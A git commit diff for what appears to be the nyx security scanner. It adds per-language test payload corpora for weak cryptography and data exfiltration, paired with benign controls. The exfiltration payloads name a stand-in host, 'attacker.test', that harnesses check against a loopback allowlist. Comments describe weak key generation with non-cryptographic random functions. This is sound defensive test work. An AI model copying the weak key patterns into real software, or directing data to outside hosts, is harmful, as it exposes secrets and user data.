mirror of
https://github.com/elicpeter/nyx.git
synced 2026-06-09 19:45:13 +02:00
[pitboss] phase 11: Track J.9 + Track L.9 — CRYPTO, JSON_PARSE, UNAUTHORIZED_ID, DATA_EXFIL corpora
This commit is contained in:
parent
61a9e4e5df
commit
6784d73e25
85 changed files with 2508 additions and 30 deletions
|
|
@ -48,9 +48,12 @@ pub mod audit;
|
|||
pub mod registry;
|
||||
|
||||
mod cmdi;
|
||||
mod crypto;
|
||||
mod data_exfil;
|
||||
mod deserialize;
|
||||
mod fmt_string;
|
||||
mod header_injection;
|
||||
mod json_parse;
|
||||
mod ldap;
|
||||
mod open_redirect;
|
||||
mod path_trav;
|
||||
|
|
@ -58,6 +61,7 @@ mod prototype_pollution;
|
|||
mod sqli;
|
||||
mod ssrf;
|
||||
mod ssti;
|
||||
mod unauthorized_id;
|
||||
mod xpath;
|
||||
mod xss;
|
||||
mod xxe;
|
||||
|
|
@ -98,7 +102,8 @@ pub use crate::dynamic::oracle::Oracle;
|
|||
/// | 12 | 2026-05-18 | Phase 08 / Track J.6: `HEADER_INJECTION` cap lit for Java / Python / PHP / Ruby / JS / Go / Rust; `ProbeKind::HeaderEmit` + `ProbePredicate::HeaderInjected`; per-lang `setHeader` shims |
|
||||
/// | 13 | 2026-05-18 | Phase 09 / Track J.7: `OPEN_REDIRECT` cap lit for Java / Python / PHP / Ruby / JS / Go / Rust; `ProbeKind::Redirect` + `ProbePredicate::RedirectHostNotIn`; per-lang `sendRedirect` / `redirect()` shims |
|
||||
/// | 14 | 2026-05-18 | Phase 10 / Track J.8: `PROTOTYPE_POLLUTION` cap lit for JS / TS; `ProbeKind::PrototypePollution` + `ProbePredicate::PrototypeCanaryTouched`; Node harness installs `Proxy`-style canary trap on `Object.prototype.__nyx_canary` |
|
||||
pub const CORPUS_VERSION: u32 = 14;
|
||||
/// | 15 | 2026-05-18 | Phase 11 / Track J.9: `CRYPTO` (Java/Python/PHP/Go/Rust) + `JSON_PARSE` (JS/Python/Ruby) + `UNAUTHORIZED_ID` (7 langs) + `DATA_EXFIL` (7 langs); `ProbeKind::{WeakKey,IdorAccess,OutboundNetwork}` + `ProbePredicate::{WeakKeyEntropy,IdorBoundaryCrossed,OutboundHostNotIn}`; `UnsupportedReason::SoundOracleUnavailable` for caps with no sound oracle |
|
||||
pub const CORPUS_VERSION: u32 = 15;
|
||||
|
||||
/// Where a payload originated.
|
||||
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
|
||||
|
|
|
|||
44
src/dynamic/corpus/crypto/go.rs
Normal file
44
src/dynamic/corpus/crypto/go.rs
Normal file
|
|
@ -0,0 +1,44 @@
|
|||
//! Go `Cap::CRYPTO` payloads — `math/rand.Intn` weak-key
|
||||
//! generation.
|
||||
|
||||
use super::super::{CuratedPayload, Oracle, PayloadProvenance, PayloadRef};
|
||||
use crate::dynamic::oracle::ProbePredicate;
|
||||
|
||||
const WEAK_BITS: u32 = 16;
|
||||
|
||||
pub const PAYLOADS: &[CuratedPayload] = &[
|
||||
CuratedPayload {
|
||||
bytes: b"NYX_CRYPTO_WEAK",
|
||||
label: "crypto-go-weak-random",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::WeakKeyEntropy { max_bits: WEAK_BITS }],
|
||||
},
|
||||
is_benign: false,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 15,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/crypto/go/vuln.go"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[ProbePredicate::WeakKeyEntropy { max_bits: WEAK_BITS }],
|
||||
benign_control: Some(PayloadRef {
|
||||
label: "crypto-go-benign",
|
||||
}),
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
CuratedPayload {
|
||||
bytes: b"NYX_CRYPTO_STRONG",
|
||||
label: "crypto-go-benign",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::WeakKeyEntropy { max_bits: WEAK_BITS }],
|
||||
},
|
||||
is_benign: true,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 15,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/crypto/go/benign.go"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[],
|
||||
benign_control: None,
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
];
|
||||
55
src/dynamic/corpus/crypto/java.rs
Normal file
55
src/dynamic/corpus/crypto/java.rs
Normal file
|
|
@ -0,0 +1,55 @@
|
|||
//! Java `Cap::CRYPTO` payloads — `java.util.Random.nextBytes`
|
||||
//! weak-key generation.
|
||||
//!
|
||||
//! Vuln payload: marker bytes that signal the harness to drive its
|
||||
//! `java.util.Random` key-generation path. The harness emits a key
|
||||
//! bounded inside a 16-bit search space and writes a
|
||||
//! [`crate::dynamic::probe::ProbeKind::WeakKey`] probe — the
|
||||
//! [`crate::dynamic::oracle::ProbePredicate::WeakKeyEntropy`]
|
||||
//! predicate fires for `key_int < 2^16`.
|
||||
//!
|
||||
//! Benign control: marker bytes that route the harness through
|
||||
//! `java.security.SecureRandom`, producing a 256-bit key whose
|
||||
//! integer view trivially exceeds the budget.
|
||||
|
||||
use super::super::{CuratedPayload, Oracle, PayloadProvenance, PayloadRef};
|
||||
use crate::dynamic::oracle::ProbePredicate;
|
||||
|
||||
const WEAK_BITS: u32 = 16;
|
||||
|
||||
pub const PAYLOADS: &[CuratedPayload] = &[
|
||||
CuratedPayload {
|
||||
bytes: b"NYX_CRYPTO_WEAK",
|
||||
label: "crypto-java-weak-random",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::WeakKeyEntropy { max_bits: WEAK_BITS }],
|
||||
},
|
||||
is_benign: false,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 15,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/crypto/java/vuln.java"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[ProbePredicate::WeakKeyEntropy { max_bits: WEAK_BITS }],
|
||||
benign_control: Some(PayloadRef {
|
||||
label: "crypto-java-benign",
|
||||
}),
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
CuratedPayload {
|
||||
bytes: b"NYX_CRYPTO_STRONG",
|
||||
label: "crypto-java-benign",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::WeakKeyEntropy { max_bits: WEAK_BITS }],
|
||||
},
|
||||
is_benign: true,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 15,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/crypto/java/benign.java"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[],
|
||||
benign_control: None,
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
];
|
||||
26
src/dynamic/corpus/crypto/mod.rs
Normal file
26
src/dynamic/corpus/crypto/mod.rs
Normal file
|
|
@ -0,0 +1,26 @@
|
|||
//! Weak-crypto (`Cap::CRYPTO`) per-language payload slices.
|
||||
//!
|
||||
//! Phase 11 (Track J.9) carves a weak-key entropy oracle across the
|
||||
//! five backend languages where homegrown key generation is common
|
||||
//! enough to matter: Java (`java.util.Random.nextBytes` → key bytes),
|
||||
//! Python (`random.randint(0, 0xFFFF)`), PHP (`mt_rand(0, 0xFFFF)`),
|
||||
//! Go (`math/rand.Intn(0x10000)`), Rust (`rand::thread_rng` truncated
|
||||
//! to 16 bits). Every vuln payload triggers the harness's
|
||||
//! instrumented key-generation path with a seed that produces an
|
||||
//! attacker-derivable key bounded inside the 16-bit search space.
|
||||
//! The harness shim writes a
|
||||
//! [`crate::dynamic::probe::ProbeKind::WeakKey { key_int }`] probe
|
||||
//! with the produced integer view of the key bytes; the
|
||||
//! [`crate::dynamic::oracle::ProbePredicate::WeakKeyEntropy`]
|
||||
//! predicate fires when `key_int < 2^max_bits` (`max_bits = 16` by
|
||||
//! default). The paired benign control routes the same harness
|
||||
//! through a CSPRNG (`SecureRandom`, `secrets.token_bytes`,
|
||||
//! `random_bytes(32)`, `crypto/rand.Read`, `rand::rngs::OsRng`) so
|
||||
//! the produced `key_int` trivially exceeds the budget and the
|
||||
//! predicate stays clear.
|
||||
|
||||
pub mod go;
|
||||
pub mod java;
|
||||
pub mod php;
|
||||
pub mod python;
|
||||
pub mod rust;
|
||||
43
src/dynamic/corpus/crypto/php.rs
Normal file
43
src/dynamic/corpus/crypto/php.rs
Normal file
|
|
@ -0,0 +1,43 @@
|
|||
//! PHP `Cap::CRYPTO` payloads — `mt_rand` weak-key generation.
|
||||
|
||||
use super::super::{CuratedPayload, Oracle, PayloadProvenance, PayloadRef};
|
||||
use crate::dynamic::oracle::ProbePredicate;
|
||||
|
||||
const WEAK_BITS: u32 = 16;
|
||||
|
||||
pub const PAYLOADS: &[CuratedPayload] = &[
|
||||
CuratedPayload {
|
||||
bytes: b"NYX_CRYPTO_WEAK",
|
||||
label: "crypto-php-weak-random",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::WeakKeyEntropy { max_bits: WEAK_BITS }],
|
||||
},
|
||||
is_benign: false,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 15,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/crypto/php/vuln.php"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[ProbePredicate::WeakKeyEntropy { max_bits: WEAK_BITS }],
|
||||
benign_control: Some(PayloadRef {
|
||||
label: "crypto-php-benign",
|
||||
}),
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
CuratedPayload {
|
||||
bytes: b"NYX_CRYPTO_STRONG",
|
||||
label: "crypto-php-benign",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::WeakKeyEntropy { max_bits: WEAK_BITS }],
|
||||
},
|
||||
is_benign: true,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 15,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/crypto/php/benign.php"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[],
|
||||
benign_control: None,
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
];
|
||||
53
src/dynamic/corpus/crypto/python.rs
Normal file
53
src/dynamic/corpus/crypto/python.rs
Normal file
|
|
@ -0,0 +1,53 @@
|
|||
//! Python `Cap::CRYPTO` payloads — `random.randint` weak-key
|
||||
//! generation.
|
||||
//!
|
||||
//! Vuln payload: marker bytes that route the harness through
|
||||
//! `random.randint(0, 0xFFFF)`; the harness emits a
|
||||
//! [`crate::dynamic::probe::ProbeKind::WeakKey`] probe and the
|
||||
//! [`crate::dynamic::oracle::ProbePredicate::WeakKeyEntropy`]
|
||||
//! predicate fires.
|
||||
//!
|
||||
//! Benign control: marker bytes that route the harness through
|
||||
//! `secrets.token_bytes(32)`.
|
||||
|
||||
use super::super::{CuratedPayload, Oracle, PayloadProvenance, PayloadRef};
|
||||
use crate::dynamic::oracle::ProbePredicate;
|
||||
|
||||
const WEAK_BITS: u32 = 16;
|
||||
|
||||
pub const PAYLOADS: &[CuratedPayload] = &[
|
||||
CuratedPayload {
|
||||
bytes: b"NYX_CRYPTO_WEAK",
|
||||
label: "crypto-python-weak-random",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::WeakKeyEntropy { max_bits: WEAK_BITS }],
|
||||
},
|
||||
is_benign: false,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 15,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/crypto/python/vuln.py"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[ProbePredicate::WeakKeyEntropy { max_bits: WEAK_BITS }],
|
||||
benign_control: Some(PayloadRef {
|
||||
label: "crypto-python-benign",
|
||||
}),
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
CuratedPayload {
|
||||
bytes: b"NYX_CRYPTO_STRONG",
|
||||
label: "crypto-python-benign",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::WeakKeyEntropy { max_bits: WEAK_BITS }],
|
||||
},
|
||||
is_benign: true,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 15,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/crypto/python/benign.py"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[],
|
||||
benign_control: None,
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
];
|
||||
44
src/dynamic/corpus/crypto/rust.rs
Normal file
44
src/dynamic/corpus/crypto/rust.rs
Normal file
|
|
@ -0,0 +1,44 @@
|
|||
//! Rust `Cap::CRYPTO` payloads — `rand::thread_rng` weak-key
|
||||
//! generation truncated to 16 bits.
|
||||
|
||||
use super::super::{CuratedPayload, Oracle, PayloadProvenance, PayloadRef};
|
||||
use crate::dynamic::oracle::ProbePredicate;
|
||||
|
||||
const WEAK_BITS: u32 = 16;
|
||||
|
||||
pub const PAYLOADS: &[CuratedPayload] = &[
|
||||
CuratedPayload {
|
||||
bytes: b"NYX_CRYPTO_WEAK",
|
||||
label: "crypto-rust-weak-random",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::WeakKeyEntropy { max_bits: WEAK_BITS }],
|
||||
},
|
||||
is_benign: false,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 15,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/crypto/rust/vuln.rs"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[ProbePredicate::WeakKeyEntropy { max_bits: WEAK_BITS }],
|
||||
benign_control: Some(PayloadRef {
|
||||
label: "crypto-rust-benign",
|
||||
}),
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
CuratedPayload {
|
||||
bytes: b"NYX_CRYPTO_STRONG",
|
||||
label: "crypto-rust-benign",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::WeakKeyEntropy { max_bits: WEAK_BITS }],
|
||||
},
|
||||
is_benign: true,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 15,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/crypto/rust/benign.rs"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[],
|
||||
benign_control: None,
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
];
|
||||
43
src/dynamic/corpus/data_exfil/go.rs
Normal file
43
src/dynamic/corpus/data_exfil/go.rs
Normal file
|
|
@ -0,0 +1,43 @@
|
|||
//! go `Cap::DATA_EXFIL` payloads.
|
||||
|
||||
use super::super::{CuratedPayload, Oracle, PayloadProvenance, PayloadRef};
|
||||
use crate::dynamic::oracle::ProbePredicate;
|
||||
|
||||
const ALLOWLIST: &[&str] = &["127.0.0.1", "localhost"];
|
||||
|
||||
pub const PAYLOADS: &[CuratedPayload] = &[
|
||||
CuratedPayload {
|
||||
bytes: b"attacker.test",
|
||||
label: "data-exfil-go-external",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::OutboundHostNotIn { allowlist: ALLOWLIST }],
|
||||
},
|
||||
is_benign: false,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 15,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/data_exfil/go/vuln.go"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[ProbePredicate::OutboundHostNotIn { allowlist: ALLOWLIST }],
|
||||
benign_control: Some(PayloadRef {
|
||||
label: "data-exfil-go-benign",
|
||||
}),
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
CuratedPayload {
|
||||
bytes: b"127.0.0.1",
|
||||
label: "data-exfil-go-benign",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::OutboundHostNotIn { allowlist: ALLOWLIST }],
|
||||
},
|
||||
is_benign: true,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 15,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/data_exfil/go/benign.go"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[],
|
||||
benign_control: None,
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
];
|
||||
43
src/dynamic/corpus/data_exfil/java.rs
Normal file
43
src/dynamic/corpus/data_exfil/java.rs
Normal file
|
|
@ -0,0 +1,43 @@
|
|||
//! java `Cap::DATA_EXFIL` payloads.
|
||||
|
||||
use super::super::{CuratedPayload, Oracle, PayloadProvenance, PayloadRef};
|
||||
use crate::dynamic::oracle::ProbePredicate;
|
||||
|
||||
const ALLOWLIST: &[&str] = &["127.0.0.1", "localhost"];
|
||||
|
||||
pub const PAYLOADS: &[CuratedPayload] = &[
|
||||
CuratedPayload {
|
||||
bytes: b"attacker.test",
|
||||
label: "data-exfil-java-external",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::OutboundHostNotIn { allowlist: ALLOWLIST }],
|
||||
},
|
||||
is_benign: false,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 15,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/data_exfil/java/vuln.java"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[ProbePredicate::OutboundHostNotIn { allowlist: ALLOWLIST }],
|
||||
benign_control: Some(PayloadRef {
|
||||
label: "data-exfil-java-benign",
|
||||
}),
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
CuratedPayload {
|
||||
bytes: b"127.0.0.1",
|
||||
label: "data-exfil-java-benign",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::OutboundHostNotIn { allowlist: ALLOWLIST }],
|
||||
},
|
||||
is_benign: true,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 15,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/data_exfil/java/benign.java"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[],
|
||||
benign_control: None,
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
];
|
||||
43
src/dynamic/corpus/data_exfil/js.rs
Normal file
43
src/dynamic/corpus/data_exfil/js.rs
Normal file
|
|
@ -0,0 +1,43 @@
|
|||
//! js `Cap::DATA_EXFIL` payloads.
|
||||
|
||||
use super::super::{CuratedPayload, Oracle, PayloadProvenance, PayloadRef};
|
||||
use crate::dynamic::oracle::ProbePredicate;
|
||||
|
||||
const ALLOWLIST: &[&str] = &["127.0.0.1", "localhost"];
|
||||
|
||||
pub const PAYLOADS: &[CuratedPayload] = &[
|
||||
CuratedPayload {
|
||||
bytes: b"attacker.test",
|
||||
label: "data-exfil-js-external",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::OutboundHostNotIn { allowlist: ALLOWLIST }],
|
||||
},
|
||||
is_benign: false,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 15,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/data_exfil/js/vuln.js"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[ProbePredicate::OutboundHostNotIn { allowlist: ALLOWLIST }],
|
||||
benign_control: Some(PayloadRef {
|
||||
label: "data-exfil-js-benign",
|
||||
}),
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
CuratedPayload {
|
||||
bytes: b"127.0.0.1",
|
||||
label: "data-exfil-js-benign",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::OutboundHostNotIn { allowlist: ALLOWLIST }],
|
||||
},
|
||||
is_benign: true,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 15,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/data_exfil/js/benign.js"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[],
|
||||
benign_control: None,
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
];
|
||||
22
src/dynamic/corpus/data_exfil/mod.rs
Normal file
22
src/dynamic/corpus/data_exfil/mod.rs
Normal file
|
|
@ -0,0 +1,22 @@
|
|||
//! Data-exfiltration (`Cap::DATA_EXFIL`) per-language payload
|
||||
//! slices.
|
||||
//!
|
||||
//! Phase 11 (Track J.9) carves an outbound-network oracle across
|
||||
//! all seven backend-capable languages. Each harness stands up a
|
||||
//! mock HTTP client that records the destination host of every
|
||||
//! outbound request via a
|
||||
//! [`crate::dynamic::probe::ProbeKind::OutboundNetwork { host }`]
|
||||
//! probe. The
|
||||
//! [`crate::dynamic::oracle::ProbePredicate::OutboundHostNotIn`]
|
||||
//! predicate fires when the captured `host` falls outside the
|
||||
//! configured loopback allowlist (`&["127.0.0.1", "localhost"]`).
|
||||
//! The vuln payload supplies `attacker.test`; the paired benign
|
||||
//! control supplies `127.0.0.1` so the predicate stays clear.
|
||||
|
||||
pub mod go;
|
||||
pub mod java;
|
||||
pub mod js;
|
||||
pub mod php;
|
||||
pub mod python;
|
||||
pub mod ruby;
|
||||
pub mod rust;
|
||||
43
src/dynamic/corpus/data_exfil/php.rs
Normal file
43
src/dynamic/corpus/data_exfil/php.rs
Normal file
|
|
@ -0,0 +1,43 @@
|
|||
//! php `Cap::DATA_EXFIL` payloads.
|
||||
|
||||
use super::super::{CuratedPayload, Oracle, PayloadProvenance, PayloadRef};
|
||||
use crate::dynamic::oracle::ProbePredicate;
|
||||
|
||||
const ALLOWLIST: &[&str] = &["127.0.0.1", "localhost"];
|
||||
|
||||
pub const PAYLOADS: &[CuratedPayload] = &[
|
||||
CuratedPayload {
|
||||
bytes: b"attacker.test",
|
||||
label: "data-exfil-php-external",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::OutboundHostNotIn { allowlist: ALLOWLIST }],
|
||||
},
|
||||
is_benign: false,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 15,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/data_exfil/php/vuln.php"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[ProbePredicate::OutboundHostNotIn { allowlist: ALLOWLIST }],
|
||||
benign_control: Some(PayloadRef {
|
||||
label: "data-exfil-php-benign",
|
||||
}),
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
CuratedPayload {
|
||||
bytes: b"127.0.0.1",
|
||||
label: "data-exfil-php-benign",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::OutboundHostNotIn { allowlist: ALLOWLIST }],
|
||||
},
|
||||
is_benign: true,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 15,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/data_exfil/php/benign.php"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[],
|
||||
benign_control: None,
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
];
|
||||
43
src/dynamic/corpus/data_exfil/python.rs
Normal file
43
src/dynamic/corpus/data_exfil/python.rs
Normal file
|
|
@ -0,0 +1,43 @@
|
|||
//! python `Cap::DATA_EXFIL` payloads.
|
||||
|
||||
use super::super::{CuratedPayload, Oracle, PayloadProvenance, PayloadRef};
|
||||
use crate::dynamic::oracle::ProbePredicate;
|
||||
|
||||
const ALLOWLIST: &[&str] = &["127.0.0.1", "localhost"];
|
||||
|
||||
pub const PAYLOADS: &[CuratedPayload] = &[
|
||||
CuratedPayload {
|
||||
bytes: b"attacker.test",
|
||||
label: "data-exfil-python-external",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::OutboundHostNotIn { allowlist: ALLOWLIST }],
|
||||
},
|
||||
is_benign: false,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 15,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/data_exfil/python/vuln.py"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[ProbePredicate::OutboundHostNotIn { allowlist: ALLOWLIST }],
|
||||
benign_control: Some(PayloadRef {
|
||||
label: "data-exfil-python-benign",
|
||||
}),
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
CuratedPayload {
|
||||
bytes: b"127.0.0.1",
|
||||
label: "data-exfil-python-benign",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::OutboundHostNotIn { allowlist: ALLOWLIST }],
|
||||
},
|
||||
is_benign: true,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 15,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/data_exfil/python/benign.py"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[],
|
||||
benign_control: None,
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
];
|
||||
43
src/dynamic/corpus/data_exfil/ruby.rs
Normal file
43
src/dynamic/corpus/data_exfil/ruby.rs
Normal file
|
|
@ -0,0 +1,43 @@
|
|||
//! ruby `Cap::DATA_EXFIL` payloads.
|
||||
|
||||
use super::super::{CuratedPayload, Oracle, PayloadProvenance, PayloadRef};
|
||||
use crate::dynamic::oracle::ProbePredicate;
|
||||
|
||||
const ALLOWLIST: &[&str] = &["127.0.0.1", "localhost"];
|
||||
|
||||
pub const PAYLOADS: &[CuratedPayload] = &[
|
||||
CuratedPayload {
|
||||
bytes: b"attacker.test",
|
||||
label: "data-exfil-ruby-external",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::OutboundHostNotIn { allowlist: ALLOWLIST }],
|
||||
},
|
||||
is_benign: false,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 15,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/data_exfil/ruby/vuln.rb"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[ProbePredicate::OutboundHostNotIn { allowlist: ALLOWLIST }],
|
||||
benign_control: Some(PayloadRef {
|
||||
label: "data-exfil-ruby-benign",
|
||||
}),
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
CuratedPayload {
|
||||
bytes: b"127.0.0.1",
|
||||
label: "data-exfil-ruby-benign",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::OutboundHostNotIn { allowlist: ALLOWLIST }],
|
||||
},
|
||||
is_benign: true,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 15,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/data_exfil/ruby/benign.rb"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[],
|
||||
benign_control: None,
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
];
|
||||
43
src/dynamic/corpus/data_exfil/rust.rs
Normal file
43
src/dynamic/corpus/data_exfil/rust.rs
Normal file
|
|
@ -0,0 +1,43 @@
|
|||
//! rust `Cap::DATA_EXFIL` payloads.
|
||||
|
||||
use super::super::{CuratedPayload, Oracle, PayloadProvenance, PayloadRef};
|
||||
use crate::dynamic::oracle::ProbePredicate;
|
||||
|
||||
const ALLOWLIST: &[&str] = &["127.0.0.1", "localhost"];
|
||||
|
||||
pub const PAYLOADS: &[CuratedPayload] = &[
|
||||
CuratedPayload {
|
||||
bytes: b"attacker.test",
|
||||
label: "data-exfil-rust-external",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::OutboundHostNotIn { allowlist: ALLOWLIST }],
|
||||
},
|
||||
is_benign: false,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 15,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/data_exfil/rust/vuln.rs"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[ProbePredicate::OutboundHostNotIn { allowlist: ALLOWLIST }],
|
||||
benign_control: Some(PayloadRef {
|
||||
label: "data-exfil-rust-benign",
|
||||
}),
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
CuratedPayload {
|
||||
bytes: b"127.0.0.1",
|
||||
label: "data-exfil-rust-benign",
|
||||
oracle: Oracle::SinkProbe {
|
||||
predicates: &[ProbePredicate::OutboundHostNotIn { allowlist: ALLOWLIST }],
|
||||
},
|
||||
is_benign: true,
|
||||
provenance: PayloadProvenance::Curated,
|
||||
since_corpus_version: 15,
|
||||
deprecated_at_corpus_version: None,
|
||||
fixture_paths: &["tests/dynamic_fixtures/data_exfil/rust/benign.rs"],
|
||||
oob_nonce_slot: false,
|
||||
probe_predicates: &[],
|
||||
benign_control: None,
|
||||
no_benign_control_rationale: None,
|
||||
},
|
||||
];
|
||||
51
src/dynamic/corpus/json_parse/javascript.rs
Normal file
51
src/dynamic/corpus/json_parse/javascript.rs
Normal file
|
|
@ -0,0 +1,51 @@
|
|||
//! JavaScript `Cap::JSON_PARSE` payloads — `JSON.parse` then deep
|
||||
//! assign / `Object.assign` chain.
